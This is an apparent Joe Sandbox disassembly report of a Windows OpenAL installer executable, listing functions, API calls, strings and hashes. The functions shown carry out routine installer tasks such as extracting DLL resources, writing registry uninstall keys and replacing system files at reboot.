Instruction Fuzzy Hash: F471D275A44701A6E61167236E4EB9F3AA89B6134DF44003BFC04B23C2F7BDA54586AE

Function 00401140 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strncpy.LIBCMT ref: 004011A7
LockResource.KERNEL32(?), ref: 004011B0
_malloc.LIBCMT ref: 004011EB
_fwrite.LIBCMT ref: 00401216
MoveFileExA.KERNEL32(?,?,00000005(MOVEFILE_REPLACE_EXISTING|MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 004012A2

Part of subcall function 00405F89: DeleteFileA.KERNELBASE(?,0040146F,00000000), ref: 00405F8D
Part of subcall function 00405F89: GetLastError.KERNEL32 ref: 00405F97
Part of subcall function 00405F89: __dosmaperr.LIBCMT ref: 00405FA6

Part of subcall function 00405F5B: MoveFileA.KERNEL32(?,?), ref: 00405F63
Part of subcall function 00405F5B: GetLastError.KERNEL32 ref: 00405F6D
Part of subcall function 00405F5B: __dosmaperr.LIBCMT ref: 00405F7C

Strings

.new, xrefs: 004011A1
"K, xrefs: 0040121F

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: File$ErrorLastMove__dosmaperr$DeleteLockResource_fwrite_malloc_strncpy
String ID: .new$"K
API String ID: 2314220182-1877588928
Opcode ID: ae4e8c17226b72f302fc83f10813c4ffdfe367d93ff6fcc69ae0d88b078c83ad
Instruction ID: f80457300f98e690ffd406197c78a22da3b002059791018476d1b47e15e76df6
Opcode Fuzzy Hash: ae4e8c17226b72f302fc83f10813c4ffdfe367d93ff6fcc69ae0d88b078c83ad
Instruction Fuzzy Hash: 264106715043056BD310DB65CC81FEB73E8AF88304F04492EFD85B7292E67CE60887AA

Function 00401FE0 Relevance: 119.5, APIs: 51, Strings: 17, Instructions: 503
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MessageBoxA.USER32(?,?,OpenAL Installer Message,00000004), ref: 004020A8
MessageBoxA.USER32(?,?,OpenAL Installer Message,00000004), ref: 004020FC
MessageBoxA.USER32(?,Permission not granted for writing to the system directory -- try again with administrator access.,OpenAL Installer Message,00000000), ref: 0040214E
MessageBoxA.USER32(?,Uninstallation complete.,OpenAL Installer Message,00000000), ref: 004021A4
MessageBoxA.USER32(?,?,OpenAL Installer Message,00000000), ref: 00402216
PostQuitMessage.USER32(00000000), ref: 00402221
LoadIconA.USER32(00400000,00000070), ref: 00402235
SetClassLongA.USER32(?,000000DE,00000000), ref: 0040223F
FindResourceA.KERNEL32(00400000,00000069,TXT), ref: 00402259
LoadResource.KERNEL32(00400000,00000000), ref: 00402268
FindResourceA.KERNEL32(00400000,00000067,DLL), ref: 0040227D
LoadResource.KERNEL32(00400000,00000000), ref: 00402287
FindResourceA.KERNEL32(00400000,00000067,DLL), ref: 0040229B
SizeofResource.KERNEL32(00400000,00000000), ref: 004022A5
FindResourceA.KERNEL32(00400000,00000068,DLL), ref: 004022BE
LoadResource.KERNEL32(00400000,00000000), ref: 004022C7
FindResourceA.KERNEL32(00400000,00000068,DLL), ref: 004022DC
SizeofResource.KERNEL32(00400000,00000000), ref: 004022E6
FindResourceA.KERNEL32(00400000,00000072,DLL), ref: 004022FE
LoadResource.KERNEL32(00400000,00000000), ref: 00402308
FindResourceA.KERNEL32(00400000,00000072,DLL), ref: 0040231D
SizeofResource.KERNEL32(00400000,00000000), ref: 00402326
FindResourceA.KERNEL32(00400000,00000071,DLL), ref: 0040233F
LoadResource.KERNEL32(00400000,00000000), ref: 00402349
FindResourceA.KERNEL32(00400000,00000071,DLL), ref: 0040235D
SizeofResource.KERNEL32(00400000,00000000), ref: 00402367
LoadImageA.USER32(00400000,00000066,00000000,000000BD,00000068,00000020), ref: 00402386
CreateWindowExA.USER32(00000000,button,Cancel,50000000,00000000,00000000,00000050,00000018,?,00000001,00400000,00000000), ref: 004023BB
CreateWindowExA.USER32(00000000,button,0041E4C0,50000000,00000000,00000000,00000050,00000018,?,00000002,00400000,00000000), ref: 004023E7
CreateWindowExA.USER32(00000000,edit,0041E334,50A00044,00000000,00000000,00000000,00000000,?,00000003,00400000,00000000), ref: 00402413
LockResource.KERNEL32(004A0E14), ref: 00402420
FindResourceA.KERNEL32(00400000,00000069,TXT), ref: 00402436

Part of subcall function 004014A0: RegCreateKeyExA.ADVAPI32(80000002,SOFTWARE\OpenAL,00000000,0041E334,00000000,000F003F,00000000,?,00000000), ref: 004014C4
Part of subcall function 004014A0: RegQueryValueExA.ADVAPI32 ref: 004014F1
Part of subcall function 004014A0: RegSetValueExA.ADVAPI32(?,RefCount,00000000,00000004,00000004,00000004), ref: 0040151B
Part of subcall function 004014A0: RegCloseKey.ADVAPI32(?), ref: 00401526

SizeofResource.KERNEL32(00400000,00000000), ref: 00402440
_malloc.LIBCMT ref: 00402457

Part of subcall function 00405E98: __FF_MSGBANNER.LIBCMT ref: 00405EBB
Part of subcall function 00405E98: __NMSG_WRITE.LIBCMT ref: 00405EC2
Part of subcall function 00405E98: RtlAllocateHeap.NTDLL(00000000,?,00000000,76222EB0,?,?,0040245C,?,?,?,?,?,?,00001000), ref: 00405F10

_memset.LIBCMT ref: 00402466
SendMessageA.USER32(00010434,000000C2,00000000,00000000), ref: 00402497
FreeResource.KERNEL32(004A0E14), ref: 004024A9
SendMessageA.USER32(?,00000002,00000000,00000000), ref: 004024DB
BeginPaint.USER32(?,?), ref: 004024E8
GetClientRect.USER32(?,?), ref: 004024F6
CreateCompatibleDC.GDI32(00000000), ref: 004024FD
SelectObject.GDI32(00000000,09050E9C), ref: 0040250D
BitBlt.GDI32(00000000,?,0000000A,?,00000072,00000000,00000000,00000000,00CC0020), ref: 0040253A
DeleteDC.GDI32(00000000), ref: 00402541
MoveWindow.USER32(00010430,?,?,00000050,00000018,00000001), ref: 0040256D
MoveWindow.USER32(00010432,?,?,00000050,00000018,00000001), ref: 0040258C
MoveWindow.USER32(00010434,00000014,00000096,?,?,00000001), ref: 004025B0
DrawTextA.USER32(00000000,License:), ref: 004025E1
EndPaint.USER32(?,0000005A,?,?,?,?,000000FF,?,00000024), ref: 004025ED
DefWindowProcA.USER32(?,?,?,?), ref: 00402606
SendMessageA.USER32(?,00000002,00000000,00000000), ref: 0040265A

Strings

Some OpenAL files were in use -- a reboot will be required to complete uninstallation., xrefs: 004021FB
x, xrefs: 004025CB
button, xrefs: 004023B4, 004023DB
It appears that one or more installed applications are dependent on OpenAL. Are you sure you want to remove OpenAL?, xrefs: 0040208F
Cancel, xrefs: 004023AF
edit, xrefs: 00402407
Some OpenAL files were in use -- a reboot will be required to complete installation., xrefs: 004021EE
TXT, xrefs: 00402251, 0040242C
Uninstallation complete., xrefs: 0040219E
Are you sure you want to remove OpenAL?, xrefs: 004020E6
Permission not granted for writing to the system directory -- try again with administrator access., xrefs: 00402148
OpenAL Installer Message, xrefs: 0040209C, 004020F1, 00402143, 00402190, 0040220A
License:, xrefs: 004025DB
4cB, xrefs: 0040228E
Installation complete., xrefs: 00402197
Z, xrefs: 004025C3
DLL, xrefs: 00402270, 00402289, 004022B1, 004022CF, 004022EC, 00402310, 00402331, 0040234B

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: Resource$Find$Message$LoadWindow$CreateSizeof$MoveSend$PaintValue$AllocateBeginClassClientCloseCompatibleDeleteDrawFreeHeapIconImageLockLongObjectPostProcQueryQuitRectSelectText_malloc_memset
String ID: 4cB$Are you sure you want to remove OpenAL?$Cancel$DLL$Installation complete.$It appears that one or more installed applications are dependent on OpenAL. Are you sure you want to remove OpenAL?$License:$OpenAL Installer Message$Permission not granted for writing to the system directory -- try again with administrator access.$Some OpenAL files were in use -- a reboot will be required to complete installation.$Some OpenAL files were in use -- a reboot will be required to complete uninstallation.$TXT$Uninstallation complete.$Z$button$edit$x
API String ID: 171056177-1206138239
Opcode ID: 3989a79b7e68360fe0f1548eea021550c4257d4891693066c34fd2ad4969614a
Instruction ID: e7f68d5101d10e4a384ba11a1bf71f3736022c59e4bf23b87fa04486177f490c
Opcode Fuzzy Hash: 3989a79b7e68360fe0f1548eea021550c4257d4891693066c34fd2ad4969614a
Instruction Fuzzy Hash: E702F374644300BAE730DB66DD49FAB7BA8EBC4740F40456AFA40672E1C6FC9845CB6E

Function 00401640 Relevance: 37.0, APIs: 11, Strings: 10, Instructions: 203
registryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32 ref: 0040166B
RegOpenKeyExA.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion,00000000,000F003F,00000104), ref: 0040168F
RegQueryValueExA.KERNELBASE(00000000,ProgramFilesDir,00000000,?,?,00000000), ref: 004016BC
CreateDirectoryA.KERNELBASE(?,00000000), ref: 00401705
CopyFileA.KERNEL32(?,?,00000000), ref: 0040176A
RegCreateKeyExA.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\OpenAL,00000000,0041E334,00000000,000F003F,00000000,?,?,?,?,00000104), ref: 00401794
RegSetValueExA.KERNELBASE(?,DisplayIcon,00000000,00000001,?,?,00000000,?,?,00000104), ref: 004017D9
RegCloseKey.ADVAPI32(?), ref: 004018C0

Strings

", xrefs: 004017E2
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\OpenAL, xrefs: 0040178A
DisplayName, xrefs: 004018A9
OpenAL, xrefs: 00401872
" /U, xrefs: 0040182D
UninstallString, xrefs: 0040185E
DisplayIcon, xrefs: 004017D3
ProgramFilesDir, xrefs: 004016B6
SOFTWARE\Microsoft\Windows\CurrentVersion, xrefs: 00401685
\OpenAL, xrefs: 004016EA

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: CreateFileValue$CloseCopyDirectoryModuleNameOpenQuery
String ID: "$" /U$DisplayIcon$DisplayName$OpenAL$ProgramFilesDir$SOFTWARE\Microsoft\Windows\CurrentVersion$SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\OpenAL$UninstallString$\OpenAL
API String ID: 394378919-1595580984
Opcode ID: 9f0d02e86c9550dfb829cc52e26413ff6fbba4698db7046875950c3f38c8af22
Instruction ID: 62f3fb00f6ce425e4060311bdf9fa7e52cd3d3b790c45c44efc2a9d648ea0829
Opcode Fuzzy Hash: 9f0d02e86c9550dfb829cc52e26413ff6fbba4698db7046875950c3f38c8af22
Instruction Fuzzy Hash: DC71FF35204344ABD724CB20CC95FEBB7E9BF88708F148A2DFD99972D1E671A608C759

Function 004012D0 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 81
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileVersionInfoSizeA.VERSION(?,?,?,?,00000000), ref: 004012F6
_malloc.LIBCMT ref: 00401307

Part of subcall function 00405E98: __FF_MSGBANNER.LIBCMT ref: 00405EBB
Part of subcall function 00405E98: __NMSG_WRITE.LIBCMT ref: 00405EC2
Part of subcall function 00405E98: RtlAllocateHeap.NTDLL(00000000,?,00000000,76222EB0,?,?,0040245C,?,?,?,?,?,?,00001000), ref: 00405F10

GetFileVersionInfoA.VERSION(?,00000000,00000000,00000000,00000000), ref: 00401316
VerQueryValueA.VERSION(00000000,\VarFileInfo\Translation,?,?,?,00000000,00000000,00000000,00000000), ref: 0040132F
_sprintf.LIBCMT ref: 0040134F
VerQueryValueA.VERSION(00000000,?,?,?,?,00000000,00000000,00000000,00000000), ref: 00401367

Strings

\VarFileInfo\Translation, xrefs: 00401329
PORTIONS (C) CREATIVE LABS INC. AND NVIDIA CORP., xrefs: 0040137E
\StringFileInfo\%04x%04x\CompanyName, xrefs: 00401349

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: FileInfoQueryValueVersion$AllocateHeapSize_malloc_sprintf
String ID: PORTIONS (C) CREATIVE LABS INC. AND NVIDIA CORP.$\StringFileInfo\%04x%04x\CompanyName$\VarFileInfo\Translation
API String ID: 760439413-2872380421
Opcode ID: 0b5d1c0079c4643326724749a859e6ec9e8ceebb124fa7a725ceede6e581e4f0
Instruction ID: dbcc58cf183698a59e53936f9e793f385910ed1209343491c4b9bd3c6121faf5
Opcode Fuzzy Hash: 0b5d1c0079c4643326724749a859e6ec9e8ceebb124fa7a725ceede6e581e4f0
Instruction Fuzzy Hash: 422183725047056AE214EB129C42EFF73ECABC5B44F04493EB94566592EA3CE908C67A

Function 004013F0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 48
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNELBASE(00000000,?,00000104), ref: 00401413
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0040142A
GetTempFileNameA.KERNELBASE(?,tmp,00000000), ref: 00401443
CopyFileA.KERNEL32(?,?,00000000), ref: 0040145C

Part of subcall function 00405F89: DeleteFileA.KERNELBASE(?,0040146F,00000000), ref: 00405F8D
Part of subcall function 00405F89: GetLastError.KERNEL32 ref: 00405F97
Part of subcall function 00405F89: __dosmaperr.LIBCMT ref: 00405FA6

Strings

tmp, xrefs: 00401436

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: File$Name$CopyDeleteDirectoryErrorLastModuleSystemTemp__dosmaperr
String ID: tmp
API String ID: 1903852973-753892680
Opcode ID: 846358cbf50f6dfd893fff4d3b00a4de9eba0df0ba9937f4077516612f2491b1
Instruction ID: b5cd551fa54cb1b9ed8192132de6b689b4b6109b82c39643132274b822ad3037
Opcode Fuzzy Hash: 846358cbf50f6dfd893fff4d3b00a4de9eba0df0ba9937f4077516612f2491b1
Instruction Fuzzy Hash: 460184746043046BE634DB61CC46BFF73ECAB88700F40892DE959861D0EAB89248CB5A

Function 00405D46 Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 00405D64

Part of subcall function 004075D6: __mtinitlocknum.LIBCMT ref: 004075EA
Part of subcall function 004075D6: __amsg_exit.LIBCMT ref: 004075F6
Part of subcall function 004075D6: EnterCriticalSection.KERNEL32(?,?,?,00407036,00000004,00420350,0000000C,0040E2C0,00000000,00000000,00000000,00000000,00000000,0040BDEB,00000001,00000214), ref: 004075FE

___sbh_find_block.LIBCMT ref: 00405D6F
___sbh_free_block.LIBCMT ref: 00405D7E
RtlFreeHeap.NTDLL(00000000,?,00420288,0000000C,004075B7,00000000,00420370,0000000C,004075EF,?,?,?,00407036,00000004,00420350,0000000C), ref: 00405DAE
GetLastError.KERNEL32(?,0040245C,?,?,?,?,?,?,00001000), ref: 00405DBF

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 20e06de31fe6bff82ad5aa85a8c217c5eb90ed0622064790a6eec4f1c2a124d1
Instruction ID: 486160f8b4cb26b5f5aa80fce47d86c92600bb93e2b34a8a7c20aff5056d1dce
Opcode Fuzzy Hash: 20e06de31fe6bff82ad5aa85a8c217c5eb90ed0622064790a6eec4f1c2a124d1
Instruction Fuzzy Hash: 47017C31905B11AAEB306BB2AC0EB5F3B64EF00364F20843FF404B61D1CA7C99408E6D

Function 004015D0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.KERNELBASE(80000002,SOFTWARE\OpenAL,00000000,0041E334,00000000,000F003F,00000000,?,00000000), ref: 004015F4
RegQueryValueExA.KERNELBASE ref: 00401620

Strings

RefCount, xrefs: 00401612
SOFTWARE\OpenAL, xrefs: 004015EA

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: CreateQueryValue
String ID: RefCount$SOFTWARE\OpenAL
API String ID: 2711935003-3018980265
Opcode ID: f7080cc9097cd99a2909f5f6177984573763034608615c166ec89ff21f94298f
Instruction ID: 85eb473b66b225c0e454fb4373ed68fc8674686e988154e5c2a1e46d78a8f9e4
Opcode Fuzzy Hash: f7080cc9097cd99a2909f5f6177984573763034608615c166ec89ff21f94298f
Instruction Fuzzy Hash: B1F0B4343843027BE310DB04CC46FA677E8AB44B44F90481DFA58E60D1E2B4A548865F

Function 00401010 Relevance: 6.1, APIs: 4, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileVersionInfoSizeA.VERSION(?,?,?,00000000,?,?,00401264,?,?,?,?,?,?,?,?), ref: 0040102D
_malloc.LIBCMT ref: 0040103A

Part of subcall function 00405E98: __FF_MSGBANNER.LIBCMT ref: 00405EBB
Part of subcall function 00405E98: __NMSG_WRITE.LIBCMT ref: 00405EC2
Part of subcall function 00405E98: RtlAllocateHeap.NTDLL(00000000,?,00000000,76222EB0,?,?,0040245C,?,?,?,?,?,?,00001000), ref: 00405F10

GetFileVersionInfoA.VERSION(?,00000000,00000000,00000000,?,?,?,?,?,?,0007D000,?,?,00000000), ref: 0040104D
VerQueryValueA.VERSION(00000000,0041E28C,?,?,?,00000000,00000000,00000000,?,?,?,?,?,?,0007D000), ref: 00401066

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: FileInfoVersion$AllocateHeapQuerySizeValue_malloc
String ID:
API String ID: 1163934634-0
Opcode ID: c8508c18a24cdf7cc53cf83384ed650c8bf47a5109037c199d8e94a134039afa
Instruction ID: ad522f56d7bb97e09a2090b97e6e24c0e2813ffebc9a31353cec908074ff3c77
Opcode Fuzzy Hash: c8508c18a24cdf7cc53cf83384ed650c8bf47a5109037c199d8e94a134039afa
Instruction Fuzzy Hash: F6110A736043141AD3105A29EC4097B73DCDAC6715F14493FF981B26C2EA39E8899779

Function 004010B0 Relevance: 6.1, APIs: 4, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileVersionInfoSizeA.VERSION(?,?,00000000,00000000,?,?,?,?,?,?,?,?,0007D000,?,?,00000000), ref: 004010BF
_malloc.LIBCMT ref: 004010CC

Part of subcall function 00405E98: __FF_MSGBANNER.LIBCMT ref: 00405EBB
Part of subcall function 00405E98: __NMSG_WRITE.LIBCMT ref: 00405EC2
Part of subcall function 00405E98: RtlAllocateHeap.NTDLL(00000000,?,00000000,76222EB0,?,?,0040245C,?,?,?,?,?,?,00001000), ref: 00405F10

GetFileVersionInfoA.VERSION(?,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,0007D000), ref: 004010DF
VerQueryValueA.VERSION(00000000,0041E28C,?,?,?,00000000,00000000,00000000,00000000), ref: 004010F8

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: FileInfoVersion$AllocateHeapQuerySizeValue_malloc
String ID:
API String ID: 1163934634-0
Opcode ID: 5147661103d6249322d1b8d31401ceeb79aa0869d147ac0a826cc2da9d5739c3
Instruction ID: 674f3eefe91219a4930e5b7317db41fd8399d67f620cff512ebf3cd9eb153802
Opcode Fuzzy Hash: 5147661103d6249322d1b8d31401ceeb79aa0869d147ac0a826cc2da9d5739c3
Instruction Fuzzy Hash: 4C0184765402106BC210EA15AC81EAB73E8EAC9720F44457EFD48A7342D63DE909DAB6

Function 00405F5B Relevance: 4.5, APIs: 3, Instructions: 17
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MoveFileA.KERNEL32(?,?), ref: 00405F63
GetLastError.KERNEL32 ref: 00405F6D
__dosmaperr.LIBCMT ref: 00405F7C

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: ErrorFileLastMove__dosmaperr
String ID:
API String ID: 2142343326-0
Opcode ID: 6ab7ac2fdbb28c85d7a1fc4f1ed848413e556c22d56f6d746e2ebbc0fcb6018b
